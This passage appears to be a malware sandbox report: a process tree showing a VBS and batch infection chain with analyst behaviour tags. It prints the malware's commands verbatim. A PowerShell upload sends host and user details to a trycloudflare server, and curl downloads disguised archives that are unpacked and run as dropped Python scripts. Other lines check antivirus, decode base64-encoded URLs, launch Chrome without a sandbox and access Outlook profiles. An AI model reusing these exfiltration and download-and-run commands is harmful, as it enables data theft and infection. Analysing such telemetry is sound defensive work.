        C:\Windows\system32\cmd.exe /c powershell -command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct 2>$null | Select-Object -First 1 -ExpandProperty displayName" 2>nul
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1884
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct 2>$null | Select-Object -First 1 -ExpandProperty displayName"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4764
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Documents\UseConvertFrom.pdf
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4884
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --edge-skip-compat-layer-relaunch --single-argument C:\Users\Admin\Documents\UseConvertFrom.pdf
        7⤵
        Drops file in Program Files directory
        Checks processor information in registry
        Enumerates system info in registry
        Modifies data under HKEY_USERS
        Modifies registry class
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:2104
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x234,0x238,0x23c,0x230,0x25c,0x7ff83f4dc188,0x7ff83f4dc194,0x7ff83f4dc1a0
        8⤵
        
        PID:2376
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1872,i,9482737086854691150,9463783957432172169,262144 --field-trial-handle=2228,i,12803351944201668442,5543334587635109561,262144 --variations-seed-version --mojo-platform-channel-handle=1348 /prefetch:2
        8⤵
        
        PID:3768
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1720,i,14504453630501522758,7759308919099767668,524288 --field-trial-handle=2228,i,12803351944201668442,5543334587635109561,262144 --variations-seed-version --mojo-platform-channel-handle=2184 /prefetch:3
        8⤵
        System Time Discovery
        
        PID:4192
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2560,i,12165322844421826690,10915245966941523309,524288 --field-trial-handle=2228,i,12803351944201668442,5543334587635109561,262144 --variations-seed-version --mojo-platform-channel-handle=2516 /prefetch:8
        8⤵
        
        PID:3744
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3388,i,14327764671858648579,10453265116791230513,2097152 --field-trial-handle=2228,i,12803351944201668442,5543334587635109561,262144 --variations-seed-version --mojo-platform-channel-handle=3456 /prefetch:1
        8⤵
        
        PID:4444
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3392,i,2278206394153668163,5746796602425916470,2097152 --field-trial-handle=2228,i,12803351944201668442,5543334587635109561,262144 --variations-seed-version --mojo-platform-channel-handle=3468 /prefetch:1
        8⤵
        
        PID:4536
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4100,i,2142069543610012303,12628090411972960366,2097152 --field-trial-handle=2228,i,12803351944201668442,5543334587635109561,262144 --variations-seed-version --mojo-platform-channel-handle=4120 /prefetch:1
        8⤵
        
        PID:1312
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4140,i,9282830947044191230,16425261960682074538,2097152 --field-trial-handle=2228,i,12803351944201668442,5543334587635109561,262144 --variations-seed-version --mojo-platform-channel-handle=4136 /prefetch:2
        8⤵
        
        PID:3136
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --init-isolate-as-foreground --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=3456,i,1701142458948991605,359182826777058388,2097152 --field-trial-handle=2228,i,12803351944201668442,5543334587635109561,262144 --variations-seed-version --mojo-platform-channel-handle=4232 /prefetch:2
        8⤵
        
        PID:4296
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --renderer-sub-type=pdf-renderer --pdf-renderer --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags="--ms-user-locale= --jitless" --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=5212,i,12423851245389064750,7693052407583720187,2097152 --field-trial-handle=2228,i,12803351944201668442,5543334587635109561,262144 --variations-seed-version --mojo-platform-channel-handle=5180 /prefetch:8
        8⤵
        
        PID:1608
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5336,i,270105123440923487,4230764556553189424,524288 --field-trial-handle=2228,i,12803351944201668442,5543334587635109561,262144 --variations-seed-version --mojo-platform-channel-handle=5332 /prefetch:8
        8⤵
        
        PID:5108
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5480,i,1485856633882681645,8773296716544390823,524288 --field-trial-handle=2228,i,12803351944201668442,5543334587635109561,262144 --variations-seed-version --mojo-platform-channel-handle=5532 /prefetch:8
        8⤵
        
        PID:784
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4924,i,8145157293277337804,11042092905682930636,524288 --field-trial-handle=2228,i,12803351944201668442,5543334587635109561,262144 --variations-seed-version --mojo-platform-channel-handle=5808 /prefetch:8
        8⤵
        
        PID:3736
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5756,i,803894567667538234,11196673127223979288,524288 --field-trial-handle=2228,i,12803351944201668442,5543334587635109561,262144 --variations-seed-version --mojo-platform-channel-handle=5828 /prefetch:8
        8⤵
        
        PID:1256
        
        C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5156,i,15774570305282196988,11116078099489893281,524288 --field-trial-handle=2228,i,12803351944201668442,5543334587635109561,262144 --variations-seed-version --mojo-platform-channel-handle=5412 /prefetch:8
        8⤵
        
        PID:1536
        
        C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5156,i,15774570305282196988,11116078099489893281,524288 --field-trial-handle=2228,i,12803351944201668442,5543334587635109561,262144 --variations-seed-version --mojo-platform-channel-handle=5412 /prefetch:8
        8⤵
        
        PID:964
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5544,i,2030523078758472695,16831280003540315455,524288 --field-trial-handle=2228,i,12803351944201668442,5543334587635109561,262144 --variations-seed-version --mojo-platform-channel-handle=5504 /prefetch:8
        8⤵
        
        PID:3344
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6612,i,13985695704725679052,10217100239656749046,524288 --field-trial-handle=2228,i,12803351944201668442,5543334587635109561,262144 --variations-seed-version --mojo-platform-channel-handle=5592 /prefetch:8
        8⤵
        
        PID:4240
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6284,i,7193911245316438133,6012614136808118742,524288 --field-trial-handle=2228,i,12803351944201668442,5543334587635109561,262144 --variations-seed-version --mojo-platform-channel-handle=6276 /prefetch:8
        8⤵
        
        PID:5296
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6424,i,12892717611546931901,1533959142997507096,524288 --field-trial-handle=2228,i,12803351944201668442,5543334587635109561,262144 --variations-seed-version --mojo-platform-channel-handle=6440 /prefetch:8
        8⤵
        
        PID:5684
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6860,i,1677293283906130960,10995800980582450561,524288 --field-trial-handle=2228,i,12803351944201668442,5543334587635109561,262144 --variations-seed-version --mojo-platform-channel-handle=6864 /prefetch:8
        8⤵
        
        PID:5736
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4208,i,15530480221984292843,14137126549910544499,524288 --field-trial-handle=2228,i,12803351944201668442,5543334587635109561,262144 --variations-seed-version --mojo-platform-channel-handle=4168 /prefetch:8
        8⤵
        
        PID:5936
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4416,i,15127280459317406052,13294404112562127578,524288 --field-trial-handle=2228,i,12803351944201668442,5543334587635109561,262144 --variations-seed-version --mojo-platform-channel-handle=6920 /prefetch:8
        8⤵
        
        PID:5944
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4420,i,11248382381965267976,115156146883628303,524288 --field-trial-handle=2228,i,12803351944201668442,5543334587635109561,262144 --variations-seed-version --mojo-platform-channel-handle=4348 /prefetch:8
        8⤵
        
        PID:5968
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1988,i,5077176243908693306,9742072742547197103,524288 --field-trial-handle=2228,i,12803351944201668442,5543334587635109561,262144 --variations-seed-version --mojo-platform-channel-handle=5832 /prefetch:8
        8⤵
        
        PID:5192
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4364,i,2257605898509080175,11129557968666382598,524288 --field-trial-handle=2228,i,12803351944201668442,5543334587635109561,262144 --variations-seed-version --mojo-platform-channel-handle=5928 /prefetch:8
        8⤵
        
        PID:9520
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=780,i,5792610106470221365,15974100828713926348,262144 --field-trial-handle=2228,i,12803351944201668442,5543334587635109561,262144 --variations-seed-version --mojo-platform-channel-handle=4404 /prefetch:8
        8⤵
        
        PID:10136
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4208,i,12792458200575300069,6700437903796514488,524288 --field-trial-handle=2228,i,12803351944201668442,5543334587635109561,262144 --variations-seed-version --mojo-platform-channel-handle=556 /prefetch:8
        8⤵
        
        PID:3948
      - C:\Windows\system32\timeout.exe
        
        timeout /t 2
        6⤵
        Delays execution with timeout.exe
        
        PID:2672
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$data = '[=== v3 START===]`n[i] AV: None`n[i] Computer: IMSCCGZI`n[i] Username: Admin`n[i] IP: Unknown`n[i] Location: Unknown`n[i] Date & Time: Thu 04/23/2026 16:49:57.99`n[i] PDF Found: C:\Users\Admin\Documents\UseConvertFrom.pdf`n[i] Opening PDF...`n[i] PDF processed`n[i] Script completed' -replace '`n', [Environment]::NewLine; $bytes = [System.Text.Encoding]::UTF8.GetBytes($data); $webclient = New-Object System.Net.WebClient; $webclient.UploadData('https://discretion-barrel-formed-vault.trycloudflare.com/logs/IMSCCGZI_Admin_Thu_04_23_2026_16_50_06.47.log', 'PUT', $bytes)"
        6⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4052
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\Contacts\1c7_das.vbs"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:3552
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\Contacts\das.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1776
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\Contacts\das.bat\" hidden' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4768
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\Contacts\das.bat" hidden
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2364
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9jb2xpbi12aWRzLWNpcmN1bGF0aW9uLWhhcnBlci50cnljbG91ZGZsYXJlLmNvbQ=='))"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3312
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9jb2xpbi12aWRzLWNpcmN1bGF0aW9uLWhhcnBlci50cnljbG91ZGZsYXJlLmNvbQ=='))"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1892
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('VXBUb0RhdGUudHh0'))"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:224
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('VXBUb0RhdGUudHh0'))"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4716
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QVBSV0VMMTMxMy5kb2g='))"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1792
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QVBSV0VMMTMxMy5kb2g='))"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3492
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QVBSV0VMMTMxM1NCLmZkbg=='))"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4312
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QVBSV0VMMTMxM1NCLmZkbg=='))"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3828
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cHl0aG9uMzEzLnNkbQ=='))"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4348
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cHl0aG9uMzEzLnNkbQ=='))"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3456
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq AvastUI.exe"
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2216
      - C:\Windows\system32\find.exe
        
        find /i "AvastUI.exe"
        6⤵
        
        PID:1748
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq AvastSvc.exe"
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3736
      - C:\Windows\system32\find.exe
        
        find /i "AvastSvc.exe"
        6⤵
        
        PID:4108
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq avgui.exe"
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:4512
      - C:\Windows\system32\find.exe
        
        find /i "avgui.exe"
        6⤵
        
        PID:1876
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq AVGSvc.exe"
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:1328
      - C:\Windows\system32\find.exe
        
        find /i "AVGSvc.exe"
        6⤵
        
        PID:4636
      - C:\Windows\system32\where.exe
        
        where curl
        6⤵
        
        PID:4908
      - C:\Windows\system32\curl.exe
        
        curl -f -L -s -o "C:\Users\Admin\Contacts\Exodus\3D0TR44.zip" "https://colin-vids-circulation-harper.trycloudflare.com/APRWEL1313.doh"
        6⤵
        
        PID:4968
      - C:\Windows\system32\curl.exe
        
        curl -f -L -s -o "C:\Users\Admin\Contacts\Exodus\2D0TR44.zip" "https://colin-vids-circulation-harper.trycloudflare.com/APRWEL1313SB.fdn"
        6⤵
        
        PID:5688
      - C:\Windows\system32\curl.exe
        
        curl -f -L -s -o "C:\Users\Admin\Contacts\Exodus\PDP0TR44.zip" "https://colin-vids-circulation-harper.trycloudflare.com/python313.sdm"
        6⤵
        
        PID:5704
      - C:\Windows\system32\curl.exe
        
        curl -f -L -s -o "C:\Users\Admin\Contacts\GS7NJWW.ssd" "https://colin-vids-circulation-harper.trycloudflare.com/UpToDate.txt"
        6⤵
        
        PID:5344
      - C:\Windows\system32\where.exe
        
        where tar
        6⤵
        
        PID:5532
      - C:\Windows\system32\tar.exe
        
        tar -xf "C:\Users\Admin\Contacts\Exodus\3D0TR44.zip" -C "C:\Users\Admin\Contacts\AdobeCollabSync\Callup"
        6⤵
        
        PID:5548
      - C:\Windows\system32\where.exe
        
        where tar
        6⤵
        
        PID:5508
      - C:\Windows\system32\tar.exe
        
        tar -xf "C:\Users\Admin\Contacts\Exodus\2D0TR44.zip" -C "C:\Users\Admin\Contacts\AdobeCollabSync\ShareX"
        6⤵
        
        PID:5492
      - C:\Windows\system32\timeout.exe
        
        timeout /t 20 /nobreak
        6⤵
        Delays execution with timeout.exe
        
        PID:5460
      - C:\Windows\system32\where.exe
        
        where tar
        6⤵
        
        PID:6104
      - C:\Windows\system32\tar.exe
        
        tar -xf "C:\Users\Admin\Contacts\Exodus\PDP0TR44.zip" -C "C:\Users\Admin\Contacts\AdobeCollabSync"
        6⤵
        
        PID:6132
      - C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        6⤵
        Delays execution with timeout.exe
        
        PID:6080
      - C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        6⤵
        Delays execution with timeout.exe
        
        PID:1480
      - C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\python.exe
        
        "C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\python.exe" "C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\MARch[092]ntp.py"
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        
        PID:5188
      - C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        6⤵
        Delays execution with timeout.exe
        
        PID:3492
      - C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\python.exe
        
        "C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\python.exe" "C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\PL5[092]exp.py"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1400
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        Accesses Microsoft Outlook profiles
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        outlook_office_path
        outlook_win_path
        
        PID:5708
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zsqf24zb.1hl"
        8⤵
        Enumerates system info in registry
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:1724
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\zsqf24zb.1hl /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\zsqf24zb.1hl\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\zsqf24zb.1hl --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff837abc728,0x7ff837abc734,0x7ff837abc740
        9⤵
        
        PID:5644
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zsqf24zb.1hl" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1688,i,16007733513693912524,12285264330612976134,262144 --field-trial-handle=1960,i,17722298201228433053,8730810276050411733,262144 --variations-seed-version --mojo-platform-channel-handle=1952 /prefetch:2
        9⤵
        
        PID:5560
        
